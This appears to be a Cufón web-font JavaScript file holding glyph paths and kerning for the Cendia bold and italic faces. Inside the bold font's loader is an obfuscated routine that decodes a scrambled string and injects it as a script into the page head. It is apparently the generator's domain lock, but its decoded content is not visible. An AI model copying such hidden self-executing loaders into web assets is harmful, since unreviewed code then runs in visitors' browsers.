-9,-6,-27,-2,-24,-20r69,0r0,11","w":261},{"d":"89,-150v2,7,13,3,11,12r-31,5r-1,-10v-11,12,-59,16,-59,-16v0,-25,24,-29,57,-29v2,-19,-3,-35,-21,-34v-8,6,-11,17,-23,19v-6,0,-10,-3,-10,-10v12,-26,77,-29,77,11r0,52xm66,-149r0,-29v-14,0,-35,1,-33,18v2,16,20,14,33,11","w":108},{"d":"172,-295v12,13,-15,42,-25,45v-27,-3,-56,-30,-71,0v-13,-9,11,-41,21,-41v16,0,42,16,51,16v12,0,17,-10,24,-20xm239,0r-86,0v-3,-15,10,-14,18,-19v2,-25,-9,-38,-14,-56r-91,0v-5,18,-16,31,-14,56v8,5,21,3,18,19r-66,0r0,-12r17,-7r76,-203r48,-7r78,210v7,5,19,4,16,19xm149,-96r-38,-107r-38,107r76,0","w":243,"k":{"Y":27,"W":26,"V":27,"T":24,"'":24,"\"":24}},{"d":"186,-58r-6,58r-173,0r0,-12r24,-7r0,-192v-9,-5,-26,-2,-23,-19r91,0r0,11r-24,8r0,184v12,19,52,6,70,0r14,-31r27,0","w":189,"k":{"a":-4,"Y":27,"W":26,"V":29,"U":7,"T":26,"?":5}},{"d":"359,-230v3,16,-11,15,-19,20r-76,210r-35,0r-46,-114r-39,114r-37,0r-85,-210v-7,-5,-21,-4,-18,-20r92,0r0,11r-21,8r0,17r61,153r34,-101r-27,-68v-7,-5,-21,-4,-18,-20r92,0r0,11r-21,8r0,17r62,152r52,-149r0,-19v-8,-6,-25,-3,-22,-20r71,0","w":362,"k":{"\u00c1":26,"\u00c2":26,"\u00c3":26,"\u00c0":26,"\u00f8":23,"\u00e6":20,"\u00c6":30,"\u00fc":20,"\u00fb":20,"\u00f9":20,"\u00fa":9,"\u00f5":23,"\u00f6":23,"\u00f4":23,"\u00f2":23,"\u00f3":23,"\u00ed":7,"\u00eb":13,"\u00ea":13,"\u00e8":13,"\u00e9":13,"\u00e5":17,"\u00e3":17,"\u00e4":17,"\u00e2":17,"\u00e0":17,"\u00e1":17,"\u00c5":26,"\u00c4":26,"z":9,"y":4,"x":5,"v":4,"u":14,"s":13,"r":14,"q":13,"p":9,"o":23,"n":9,"m":9,"j":4,"i":7,"g":13,"f":4,"e":23,"d":13,"c":16,"a":22,"O":9,"M":2,"A":31,";":13,":":13,".":13,"-":13,",":13}},{"d":"113,-196v0,22,-15,38,-40,38v-24,0,-40,-16,-40,-38v0,-22,15,-38,40,-38v25,0,40,16,40,38xm95,-196v0,-13,-7,-25,-22,-25v-16,0,-23,12,-23,25v0,13,8,25,23,25v14,0,22,-12,22,-25","w":119},{"d":"167,-148r-78,205v-6,20,-40,14,-38,-7v2,-20,28,-30,35,-49r50,-124r-108,1r0,-37r139,0r0,11"},{"d":"131,-49v0,22,-19,52,-66,52v-17,0,-35,-2,-55,-6r-3,-41r15,0v10,12,15,28,38,27v17,0,30,-9,30,-24v0,-33,-76,-31,-76,-76v0,-50,57,-49,106,-41r3,36v-28,5,-23,-22,-51,-22v-12,0,-20,4,-20,18v0,26,79,29,79,77","w":137}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+55-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("ulwi>WO7&p$IutkgNW6xZlZ$YzOiwW$IYzmx&pbyw]D{j`72YaH.sljxYaH.slj7YaH.slO2pBcu~26>bkFisBCUOW$EN|@.w|r$YaH.sl]KYaH.slmK86FisBCKwp6g>6FisBCKsk6kwiFisBC2jkFisBCWjY}EN|@.w|CxYaH.slsqYaH.slZxYaH.slHxw#$2&iFisBCk0]FisBC#OaFEN|@.j`mEN|@.wpbNYaH.slHiYaH.slH7YaH.sWsqYaH.slH`YaH.slAvYaH.sljqs]FisBCUwUCEN|@.jUNEN|@.wBkEN|@.w|NEN|@.jUKEN|@.jpOEN|@.wUKEN|@.wWs)YaH.slOkYaH.slOUYaH.slw2YaH.slbWYaH.slb2E6FisBC2O=OEN|@.jUwEN|@.wpOqmBb6YiFisBCWw]FisBCU06FisBCUs6CEN|@.jU6EN|@`jWOEN|@.wBwEN|@.j|ArYaH.slwWYaH.s`Nk0]FisBC#w6FisBCWOpiEN|@.wUsIYaH.sl~iYaH.slAfYaH.sl62YaH.sljfYaH.sl6Wutw7~=#zO]FisBCUspqEN|Zxj`HyYaH.sl]WHkFisBC#0A#JYaH.slbKYaH.sljzN7CEN|@.wBN8YaH.sl]2YaH.slHF|=]EN|@.w|wEN|@.wBmEN|@.jz6EN|@.j|wHYaH.slw#PANAPkFisBCWs6FisBC#s`mEZk.XwBsvYaH.sl6#YaH.slO#1kFisBCKsB$EN|@.j|kEN|@.wB6)8=cEY6FisBC#slCp&lO@CtBA6laZmu8sO0P~b=|H]pYjw&>ENh1rK2U#kWy5})[{cIX.Fx`7izfvqJgD$d:EN|@.j`NZYaH.slmWYkFisBCKOYiEN|@.wl]EN|@.j`]BHfK&YaH.slZ7&Ywi|k]FYaH.slA`YaH.sl]kp]FisBCUO6FisBCWs]FisBC#jiFisBCKj]FisBCUs7FYYaH.slZ.Ofs28yO.>lk7utZ2u=F}P|@{EBi28y@{>Bi.8WFk>WN7&tFyPpZIw2qy>ak.&as$hf7g&pj5j2qX&`7XY2r:0yNfNi.Iu|D5P`5Iui.I&pbkYtq#&f.Iui.INl]`Nlk#w].IwlcD82cE8Wk#wYCx&pq7Ytq#&f.Iui.INl]`Nlk#wYCx&pq7Ytq#&x##8z#INl]`NtK{>zOKNlkX>2q5>fO7>W6cw=#}wW$xuBc}Pl.guxc}upN>jic}Y]7$E6c}YY7}ut#r")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":192,"face":{"font-family":"Cendia","font-weight":700,"font-stretch":"normal","units-per-em":"360","panose-1":"2 0 8 0 8 0 0 2 0 3","ascent":"288","descent":"-72","x-height":"3","bbox":"-13.627 -296 359.414 114","underline-thickness":"7.2","underline-position":"-28.8","stemh":"7","stemv":"34","unicode-range":"U+0020-U+00FF"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright � 2001, Jonas Hecksher / e-Types AS. All rights reserved.
 * 
 * Trademark:
 * Cendia Italic is a trademark of the Jonas Hecksher / e-Types AS.
 * 
 * Full name:
 * Cendia-Italic
 * 
 * Description:
 * Copyright � 2001, Jonas Hecksher / e-Types AS. All rights reserved.
 * 
 * Manufacturer:
 * Jonas Hecksher / e-Types AS
 * 
 * Designer:
 * Jonas Hecksher
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"158,-217v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm102,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm139,-132v0,42,-54,59,-100,59v-9,61,61,65,85,27r7,10v-19,23,-37,39,-68,39v-37,0,-54,-28,-54,-63v0,-48,40,-102,94,-102v18,0,36,10,36,30xm112,-130v0,-11,-6,-18,-16,-18v-33,0,-49,35,-55,64v30,-3,71,-18,71,-46","w":163,"k":{"W":-14}},{"d":"204,-180r-19,0v-1,-22,-23,-33,-43,-33v-59,0,-94,62,-94,115v0,42,25,81,70,81v23,0,49,-14,59,-35r12,14v-20,26,-38,40,-73,41r0,11v8,2,18,9,18,19v1,24,-38,45,-54,25v3,-25,36,14,36,-14v0,-10,-9,-14,-15,-16r5,-25v-55,-2,-92,-40,-92,-96v0,-93,88,-163,190,-131r0,44","w":203},{"d":"126,-186r-14,0r-41,-44r37,0xm97,-162v38,0,57,24,57,60v0,50,-30,105,-86,105v-39,0,-57,-26,-57,-62v0,-51,34,-103,86,-103xm90,-147v-40,0,-49,54,-49,86v0,25,8,48,35,48v39,0,48,-55,48,-84v0,-26,-8,-50,-34,-50","w":169,"k":{"\u00f4":6,"Y":18,"T":30}},{"d":"121,-186r-14,0r-41,-44r37,0xm139,-132v0,42,-54,59,-100,59v-9,61,61,65,85,27r7,10v-19,23,-37,39,-68,39v-37,0,-54,-28,-54,-63v0,-48,40,-102,94,-102v18,0,36,10,36,30xm112,-130v0,-11,-6,-18,-16,-18v-33,0,-49,35,-55,64v30,-3,71,-18,71,-46","w":142,"k":{"\u00ea":6,"T":14}},{"d":"163,-36v-9,17,-24,39,-46,39v-17,1,-20,-18,-17,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r52,-7r-22,130v0,13,5,17,16,17v12,0,38,-23,46,-33r18,-107r28,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26","w":166,"k":{"d":10}},{"d":"139,-138v0,10,-9,16,-18,16v-15,0,-24,-25,-34,-25v-52,1,-69,127,-14,126v20,0,36,-20,47,-34r8,9v-14,21,-33,47,-61,49r0,11v8,2,18,9,18,19v1,24,-38,45,-54,25v0,-16,19,-7,23,-2v8,0,13,-4,13,-12v0,-10,-9,-14,-15,-16r5,-26v-33,-3,-48,-25,-48,-59v0,-53,31,-105,87,-105v15,0,43,4,43,24","w":142},{"d":"115,-85r-49,62r-16,0r37,-62r-9,-62r13,0xm69,-85r-50,62r-15,0r37,-62r-9,-62r13,0","w":118},{"d":"175,-201v0,41,-56,45,-56,67v0,20,51,22,51,68v0,58,-49,69,-86,69v-27,0,-30,-34,-5,-34v10,0,15,10,22,19v25,-2,38,-19,38,-42v0,-37,-49,-40,-49,-67v0,-33,53,-34,53,-80v0,-15,-8,-24,-22,-24v-33,0,-43,29,-49,66r-28,159r-51,0r0,-12r24,-7r26,-147v9,-50,46,-74,91,-74v21,0,41,10,41,39","w":184},{"d":"148,-217v0,19,-32,22,-32,2v-1,-20,31,-21,32,-2xm91,-217v1,19,-32,21,-33,2v-1,-18,33,-22,33,-2xm163,-36v-9,17,-24,39,-46,39v-17,1,-20,-18,-17,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r52,-7r-22,130v0,13,5,17,16,17v12,0,38,-23,46,-33r18,-107r28,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26","w":166},{"d":"87,33v1,24,-38,45,-54,25v3,-25,36,14,36,-14v0,-10,-9,-14,-15,-16r7,-34r7,0r0,20v8,2,19,9,19,19","w":145},{"d":"164,-212v0,31,-41,10,-49,-6v-36,4,-34,55,-42,88r45,0r-4,18r-45,0v-5,42,-9,64,-42,88v30,-18,60,-8,90,-1v15,0,27,-12,35,-22r7,6v-7,22,-31,45,-58,45v-37,0,-67,-21,-100,-4r-5,-10v29,-21,35,-61,41,-102r-33,0r4,-18r33,0v6,-57,25,-106,85,-102v14,0,38,1,38,20","w":159},{"d":"108,-273v0,22,-16,31,-36,31v-20,0,-36,-9,-36,-31v0,-22,16,-31,36,-31v20,0,36,9,36,31xm91,-273v0,-12,-7,-19,-19,-19v-13,0,-18,6,-18,19v0,11,7,18,18,18v12,0,19,-6,19,-18","w":144},{"d":"94,-217v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm49,-217v1,19,-32,22,-32,2v0,-19,32,-22,32,-2xm78,-36v-9,17,-24,39,-46,39v-19,0,-22,-22,-18,-42r18,-99v-4,-6,-12,-9,-21,-10r0,-11r54,-7r-24,139v0,5,2,10,4,10v9,0,18,-19,23,-26","w":83},{"d":"204,-270v1,20,-31,21,-32,2v0,-19,32,-22,32,-2xm147,-270v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm244,-115v-12,67,-62,120,-131,120v-66,0,-103,-55,-91,-120v12,-65,62,-119,133,-119v67,0,100,54,89,119xm208,-107v9,-49,-5,-107,-64,-107v-49,0,-79,47,-87,91v-9,50,8,108,65,108v49,0,78,-47,86,-92","w":236},{"d":"100,-230r-49,44r-15,0r26,-44r38,0","w":135},{"d":"94,-138r-30,5r-1,-10v-10,13,-57,14,-57,-15v0,-26,22,-28,55,-28v4,-24,-9,-42,-31,-34v0,12,-19,25,-22,6v13,-25,77,-29,75,11v4,19,-11,55,11,58r0,7xm61,-148v-2,-9,3,-25,-2,-30v-13,0,-34,0,-31,20v3,16,19,12,33,10","w":96},{"d":"112,-186r-15,0r-41,-44r37,0xm163,-36v-9,17,-24,39,-46,39v-17,1,-20,-18,-17,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r52,-7r-22,130v0,13,5,17,16,17v12,0,38,-23,46,-33r18,-107r28,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26","w":166},{"d":"228,-137v0,75,-59,140,-135,140v-56,0,-89,-37,-89,-94v0,-75,58,-140,135,-140v56,0,89,37,89,94xm211,-136v0,-50,-27,-82,-75,-82v-67,0,-115,61,-115,125v0,50,27,83,75,83v68,0,115,-62,115,-126xm163,-57v5,2,12,3,9,11r-31,0r-40,-75v21,0,36,3,42,-25v5,-22,-14,-29,-38,-27r-20,116v6,3,17,0,15,11r-54,0v-2,-11,9,-8,15,-11r21,-116v-5,-3,-14,-1,-12,-11v44,1,105,-9,96,38v-3,18,-17,30,-35,34","w":231},{"d":"234,-132v0,42,-55,59,-101,59v-4,29,9,54,38,53v19,0,34,-13,47,-26r7,10v-23,42,-102,58,-117,3v-12,15,-29,36,-55,36v-28,0,-42,-25,-42,-51v-1,-63,73,-153,137,-97v24,-20,86,-30,86,13xm207,-130v0,-11,-4,-18,-14,-18v-33,0,-52,35,-58,64v31,-3,72,-18,72,-46xm104,-46v-6,-35,11,-64,28,-86v-5,-9,-12,-18,-24,-18v-38,0,-68,62,-68,97v0,15,7,33,24,33v14,0,31,-16,40,-26","w":237},{"d":"165,-233v6,17,-17,45,-35,45v-16,0,-29,-18,-41,-18v-11,0,-17,10,-26,18v-11,-12,18,-41,30,-41v16,0,35,18,43,18v12,0,20,-13,29,-22xm167,-36v-8,17,-18,39,-40,39v-23,0,-29,-17,-27,-34v-12,15,-23,34,-47,34v-28,0,-42,-25,-42,-51v0,-49,41,-114,92,-114v16,0,31,1,47,3r-21,122v-1,7,-3,22,5,22v8,0,19,-19,23,-26xm119,-139v-5,-4,-6,-11,-14,-11v-38,0,-65,62,-65,97v0,51,52,28,63,1","w":170,"k":{"T":14}},{"d":"130,-270v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm81,-270v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm121,-230r-1,12r-24,7r-34,192r22,7r0,12r-78,0r0,-12r24,-7r34,-192r-22,-7r0,-12r79,0","w":125},{"d":"159,-13r-40,16r-44,-67r-35,33v10,32,-29,47,-34,17v11,-30,42,-41,60,-64v-14,-20,-25,-43,-43,-59r-16,-1r-1,-10r39,-14r43,63r34,-32v-10,-31,29,-45,34,-17v-11,28,-40,41,-58,63v15,20,27,44,45,61r16,1r0,10","w":155},{"d":"239,-219r-27,9r-88,83r78,108v7,4,16,6,13,19r-48,0r-79,-119r89,-85v4,-19,-23,-4,-18,-26r80,0r0,11xm121,-230r-1,11r-24,8r-34,192r22,7r0,12r-78,0r0,-12r24,-7r34,-192v-8,-5,-25,-2,-22,-19r79,0","w":235,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00f8":11,"\u00e6":11,"\u00c6":18,"\u00f5":18,"\u00f6":18,"\u00f4":18,"\u00f2":18,"\u00f3":18,"\u00e5":18,"\u00e3":18,"\u00e4":18,"\u00e2":18,"\u00e0":18,"\u00e1":18,"\u00c5":14,"\u00c4":14,"z":18,"y":18,"x":11,"w":18,"v":18,"u":11,"t":11,"s":11,"r":11,"q":11,"p":11,"o":18,"n":11,"m":11,"j":11,"i":11,"g":11,"f":11,"e":14,"d":11,"c":11,"a":18,"S":10,"I":5,"C":19,"A":14,"-":18}},{"d":"165,-217v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm108,-217v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm173,-30v-12,17,-22,33,-44,33v-23,0,-27,-17,-26,-34v-12,15,-24,34,-50,34v-28,0,-42,-25,-42,-51v0,-49,42,-114,94,-114v16,0,32,1,48,3r-22,122v-1,7,-2,22,7,22v10,0,20,-16,24,-22xm121,-139v-5,-4,-7,-9,-13,-11v-38,0,-68,62,-68,97v0,15,7,32,24,32v14,0,32,-21,41,-31","w":176,"k":{"T":14}},{"d":"95,-239r-68,353r-19,0r69,-353r18,0","w":110},{"d":"183,-245v-24,3,-25,-16,-36,-25v-15,8,-19,27,-43,25r39,-46r16,0xm237,-139v0,76,-58,144,-134,144v-58,0,-92,-42,-92,-96v0,-74,56,-143,134,-143v59,0,92,41,92,95xm201,-133v0,-41,-18,-81,-67,-81v-58,0,-89,65,-89,116v0,42,20,83,68,83v59,0,88,-66,88,-118","w":236},{"d":"121,-230r-1,12r-24,7r-34,192r22,7r0,12r-78,0r0,-12r24,-7r34,-192r-22,-7r0,-12r79,0","w":117,"k":{"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"t":11,"r":11,"n":11,"m":11,"l":7,"g":18,"d":14,"c":14,"a":11,"V":-17}},{"d":"231,-165v14,0,19,14,13,25r-76,140r-28,0r-15,-91r-50,91r-30,0r-20,-127v-5,-7,-13,-12,-26,-11r0,-10r50,-15r22,135r49,-94v-4,-18,-8,-43,15,-43v17,0,22,18,13,31r17,107r46,-91v0,-23,-4,-47,20,-47","w":242},{"d":"141,-138v0,28,-36,13,-43,-4r-20,120v18,-2,32,-20,44,-33r8,9v-13,19,-30,44,-56,48r-7,44r-16,0r8,-44v-34,-3,-49,-26,-48,-62v2,-48,27,-95,75,-102r7,-39r15,0r-7,39v15,1,40,6,40,24xm84,-147v-43,10,-61,108,-21,124","w":144},{"d":"136,-233v6,17,-16,45,-34,45v-16,0,-30,-18,-42,-18v-11,0,-17,10,-26,18v-8,-12,18,-41,30,-41v16,0,35,18,43,18v12,0,20,-13,29,-22","w":169},{"d":"129,-245v-23,3,-24,-16,-35,-25v-15,8,-19,27,-43,25r38,-46r18,0xm121,-230r-1,12r-24,7r-34,192r22,7r0,12r-78,0r0,-12r24,-7r34,-192r-22,-7r0,-12r79,0","w":125},{"d":"269,-36v-9,17,-25,39,-47,39v-18,1,-21,-22,-18,-42r14,-82v0,-10,-3,-20,-16,-20v-17,0,-36,16,-49,27r-19,114r-29,0r20,-121v0,-10,-3,-20,-15,-20v-18,0,-37,17,-50,28r-20,113r-29,0r25,-138v-4,-6,-13,-9,-22,-10r0,-11r53,-7r-5,37v17,-17,34,-33,61,-33v24,0,31,15,31,33v12,-23,95,-57,93,-1v-1,37,-12,67,-15,103v0,5,0,10,3,10v9,0,19,-19,23,-26","w":271},{"d":"167,-36v-8,17,-18,39,-40,39v-23,-1,-28,-15,-27,-34v-12,15,-23,34,-47,34v-28,0,-42,-25,-42,-51v0,-49,41,-114,92,-114v16,0,31,1,47,3r-22,131v0,6,1,13,6,13v8,0,19,-19,23,-26xm119,-139v-5,-4,-6,-11,-14,-11v-38,0,-65,62,-65,97v0,15,7,33,24,33v14,0,32,-20,39,-32","w":169,"k":{"w":10,"s":5}},{"d":"211,-291v6,17,-16,45,-34,45v-16,0,-29,-18,-41,-18v-11,0,-18,10,-26,18v-11,-12,18,-41,30,-41v16,0,35,17,43,17v12,0,19,-12,28,-21xm261,-230r-1,12r-24,8r-37,210r-24,0r-98,-189r-30,170r20,7r1,12r-62,0r0,-12r22,-7r34,-191r-21,-8r0,-12r52,0r96,180r28,-160v-8,-5,-24,-3,-20,-20r64,0","w":256},{"d":"107,-230r-48,44r-15,0r26,-44r37,0xm78,-36v-9,17,-24,39,-46,39v-19,0,-22,-22,-18,-42r18,-99v-4,-6,-12,-9,-21,-10r0,-11r54,-7r-24,139v0,5,2,10,4,10v9,0,18,-19,23,-26","w":85},{"d":"156,-23r-4,23r-29,0r-11,61r-30,8r12,-69r-93,0r1,-12r127,-147r23,0r-25,137xm114,-117r-79,95r63,0"},{"d":"129,-186r-15,0r-41,-44r38,0xm167,-36v-8,17,-18,39,-40,39v-23,0,-29,-17,-27,-34v-12,15,-23,34,-47,34v-28,0,-42,-25,-42,-51v0,-49,41,-114,92,-114v16,0,31,1,47,3r-21,122v-1,7,-3,22,5,22v8,0,19,-19,23,-26xm119,-139v-5,-4,-6,-11,-14,-11v-38,0,-65,62,-65,97v0,51,52,28,63,1","w":169,"k":{"T":14}},{"d":"159,-124v0,36,-20,115,-72,127v-7,0,-12,-5,-12,-12v0,-20,33,-6,38,-20v9,-27,17,-53,17,-85v0,-51,-53,-15,-71,1r-20,113r-28,0r37,-207v-5,-6,-12,-10,-21,-12r0,-11r55,-9r-19,107v21,-29,96,-51,96,8","w":165,"k":{"f":9}},{"d":"151,-30v-8,15,-21,38,-47,38v-30,0,-62,-30,-85,-8v-14,-3,-5,-19,2,-28v29,-37,65,-69,90,-109v-28,21,-74,-19,-90,15r-7,-9v9,-14,19,-30,44,-30v25,0,48,23,65,2r14,4v-14,48,-66,95,-97,131v32,-27,82,33,102,-12","w":157},{"d":"163,-219r-25,0r0,263r-15,0r0,-263r-29,0r0,263r-15,0r0,-167v-48,0,-68,-21,-68,-53v0,-65,86,-54,152,-54r0,11","w":180},{"d":"46,-18v1,25,-42,28,-42,2v0,-12,10,-21,22,-21v10,0,20,8,20,19","w":53},{"d":"106,-247r-15,0r-41,-43r37,0xm121,-230r-1,12r-24,7r-34,192r22,7r0,12r-78,0r0,-12r24,-7r34,-192r-22,-7r0,-12r79,0","w":117},{"d":"46,-117v1,25,-43,27,-42,1v0,-12,10,-20,22,-20v10,0,20,8,20,19","w":53},{"d":"109,-184v-23,3,-24,-17,-35,-26v-15,8,-19,27,-43,26r38,-46r17,0","w":140},{"d":"200,-270v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm143,-270v0,19,-32,22,-32,2v0,-19,32,-22,32,-2xm221,0r-71,0r0,-12r17,-7v1,-24,-4,-41,-7,-61r-86,0v-7,21,-24,32,-23,61v8,4,18,5,15,19r-62,0r0,-12r19,-7r108,-209r35,-6r39,215v8,4,19,4,16,19xm157,-98r-19,-111r-55,111r74,0","w":225,"k":{"T":11,"G":-6}},{"d":"153,-159r-39,225r20,5r0,12r-76,0r0,-12r28,-6r17,-98v-19,23,-30,36,-53,36v-23,0,-43,-18,-43,-51v0,-67,62,-133,146,-111xm121,-140v-4,-4,-7,-10,-14,-10v-37,0,-71,61,-71,97v0,15,8,32,25,32v22,0,31,-16,44,-31","w":167},{"d":"134,-254r-2,11r-32,0r-58,333r31,0r-2,12r-62,0r62,-356r63,0","w":121},{"d":"46,-117v1,25,-43,27,-42,1v0,-12,10,-20,22,-20v10,0,20,8,20,19","w":53},{"d":"88,-105r-3,20r-74,0r3,-20r74,0","w":98},{"d":"178,-245v-23,3,-24,-16,-35,-25v-15,8,-19,27,-43,25r38,-46r18,0xm247,-218r-25,7v-25,95,1,209,-126,214v-46,2,-93,-17,-83,-77r23,-137r-22,-7r0,-12r77,0r0,12r-23,7r-24,147v0,33,25,44,62,44v98,0,73,-115,96,-191r-22,-7r0,-12r67,0r0,12","w":235,"k":{"A":22}},{"d":"191,-177v-1,47,-46,88,-99,74r-7,-14v38,4,71,-2,75,-56v3,-32,-30,-43,-67,-39r-34,193r25,7r0,12r-78,0r0,-12r24,-7r34,-193r-19,-6r0,-12v64,0,148,-12,146,53","w":187,"k":{"\u00c1":36,"\u00c2":36,"\u00c3":36,"\u00c0":36,"\u00f8":8,"\u00e6":11,"\u00c6":68,"\u00f5":8,"\u00f6":8,"\u00f4":8,"\u00f2":8,"\u00f3":8,"\u00eb":14,"\u00ea":14,"\u00e8":14,"\u00e9":14,"\u00e5":18,"\u00e3":18,"\u00e4":18,"\u00e2":18,"\u00e0":18,"\u00e1":18,"\u00c5":36,"\u00c4":36,"s":11,"o":8,"e":14,"d":11,"c":8,"a":18,"U":-13,"R":11,"P":11,"L":11,"I":10,"A":36}},{"d":"147,-247r-15,0r-41,-43r37,0xm247,-218r-25,7v-25,95,1,209,-126,214v-46,2,-93,-17,-83,-77r23,-137r-22,-7r0,-12r77,0r0,12r-23,7r-24,147v0,33,25,44,62,44v98,0,73,-115,96,-191r-22,-7r0,-12r67,0r0,12","w":235,"k":{"A":22}},{"d":"159,-230r-48,44r-16,0r27,-44r37,0xm97,-162v38,0,57,24,57,60v0,50,-30,105,-86,105v-39,0,-57,-26,-57,-62v0,-51,34,-103,86,-103xm90,-147v-40,0,-49,54,-49,86v0,25,8,48,35,48v39,0,48,-55,48,-84v0,-26,-8,-50,-34,-50","w":169,"k":{"\u00f2":6,"Y":18,"T":30}},{"d":"94,-220v1,21,-36,24,-36,2v-1,-20,36,-23,36,-2xm73,-170r-25,167r-37,6r47,-173r15,0","w":96},{"d":"228,-137v0,75,-59,140,-135,140v-56,0,-89,-37,-89,-94v0,-75,58,-140,135,-140v56,0,89,37,89,94xm211,-136v0,-50,-27,-82,-75,-82v-67,0,-115,61,-115,125v0,50,27,83,75,83v68,0,115,-62,115,-126xm167,-154r-15,0v-1,-13,-14,-20,-26,-20v-36,0,-52,38,-52,70v0,47,56,64,77,28r7,7v-27,44,-108,27,-108,-32v0,-58,55,-99,117,-78r0,25","w":231},{"d":"152,-104r-4,18r-52,0r-11,51r-19,0r11,-51r-48,0r4,-18r48,0r10,-50r19,0r-11,50r53,0xm129,-17r-3,17r-115,0r3,-17r115,0","w":162},{"d":"201,-287v4,15,-14,33,-28,36v-21,-6,-39,-25,-53,0v-11,-9,15,-30,24,-32v26,7,42,23,57,-4xm237,-139v0,76,-58,144,-134,144v-58,0,-92,-42,-92,-96v0,-74,56,-143,134,-143v59,0,92,41,92,95xm201,-133v0,-41,-18,-81,-67,-81v-58,0,-89,65,-89,116v0,42,20,83,68,83v59,0,88,-66,88,-118","w":236},{"d":"163,-212v0,16,-15,31,-36,31v-20,0,-36,-12,-36,-31v0,-18,14,-31,36,-31v22,0,36,13,36,31xm145,-212v0,-13,-6,-19,-18,-19v-14,0,-19,8,-19,19v0,11,7,18,19,18v13,0,18,-7,18,-18xm167,-36v-8,17,-18,39,-40,39v-23,-1,-28,-15,-27,-34v-12,15,-23,34,-47,34v-28,0,-42,-25,-42,-51v0,-49,41,-114,92,-114v16,0,31,1,47,3r-22,131v0,6,1,13,6,13v8,0,19,-19,23,-26xm119,-139v-5,-4,-6,-11,-14,-11v-38,0,-65,62,-65,97v0,15,7,33,24,33v14,0,32,-20,39,-32","w":180,"k":{"T":14}},{"d":"155,-26r-9,26r-140,0v-3,-20,16,-18,25,-26v36,-21,89,-55,89,-94v1,-19,-16,-27,-39,-25v-8,13,-39,38,-46,9v0,-21,46,-26,69,-26v25,0,48,14,48,41v0,51,-68,84,-103,102"},{"d":"119,-147r-35,62r9,62r-14,0r-22,-62r47,-62r15,0xm73,-147r-34,62r8,62r-14,0r-22,-62r47,-62r15,0","w":122},{"d":"161,-97v0,66,-61,126,-111,161r-18,-3v51,-45,98,-90,98,-163v0,-24,-13,-43,-39,-43v-57,0,-76,102,-14,106v8,0,15,-1,23,-2v-20,36,-90,19,-90,-32v0,-51,39,-89,89,-89v39,0,62,27,62,65"},{"d":"197,-290r-41,43r-15,0r19,-43r37,0xm221,0r-71,0r0,-12r17,-7v1,-24,-4,-41,-7,-61r-86,0v-7,21,-24,32,-23,61v8,4,18,5,15,19r-62,0r0,-12r19,-7r108,-209r35,-6r39,215v8,4,19,4,16,19xm157,-98r-19,-111r-55,111r74,0","w":225,"k":{"T":11,"G":-6}},{"d":"145,-230r-49,44r-15,0r26,-44r38,0xm163,-36v-9,17,-24,39,-46,39v-17,1,-20,-18,-17,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r52,-7r-22,130v0,13,5,17,16,17v12,0,38,-23,46,-33r18,-107r28,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26","w":166},{"d":"230,-23v-8,19,-22,40,-45,40v-25,0,-47,-15,-64,-33v-37,29,-116,29,-117,-32v0,-39,27,-57,58,-75v-17,-51,2,-109,55,-109v21,0,44,7,44,33v0,36,-40,59,-67,73v9,27,23,54,41,76v16,-20,44,-66,3,-72r0,-11r69,0r0,11r-24,9v-6,31,-14,52,-36,76v18,19,61,39,74,6xm134,-195v0,-13,-6,-22,-20,-22v-35,0,-32,48,-24,77v23,-13,44,-26,44,-55xm111,-27v-19,-24,-34,-52,-44,-81v-41,18,-45,93,12,92v12,0,23,-5,32,-11","w":223,"k":{"T":24}},{"d":"23,-203v15,-39,118,-42,118,19v0,39,-34,64,-66,73v-13,4,-19,24,-20,41r-14,-6r5,-56v34,0,67,-20,67,-53v0,-24,-13,-38,-40,-32v-12,9,-18,27,-36,27v-10,0,-14,-6,-14,-13xm58,-15v1,21,-36,24,-36,2v-1,-21,35,-22,36,-2","w":147},{"d":"160,-80v7,84,-148,122,-148,23v0,-64,55,-119,103,-154r11,8v-43,37,-82,86,-82,146v0,24,10,43,36,43v54,0,72,-97,11,-97v-5,0,-9,1,-14,1r8,-16v37,-8,72,8,75,46"},{"d":"126,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm68,-217v0,19,-32,22,-32,2v0,-19,32,-22,32,-2","w":161},{"w":99},{"d":"88,-105r-3,20r-74,0r3,-20r74,0","w":98},{"d":"156,-233v6,17,-16,45,-34,45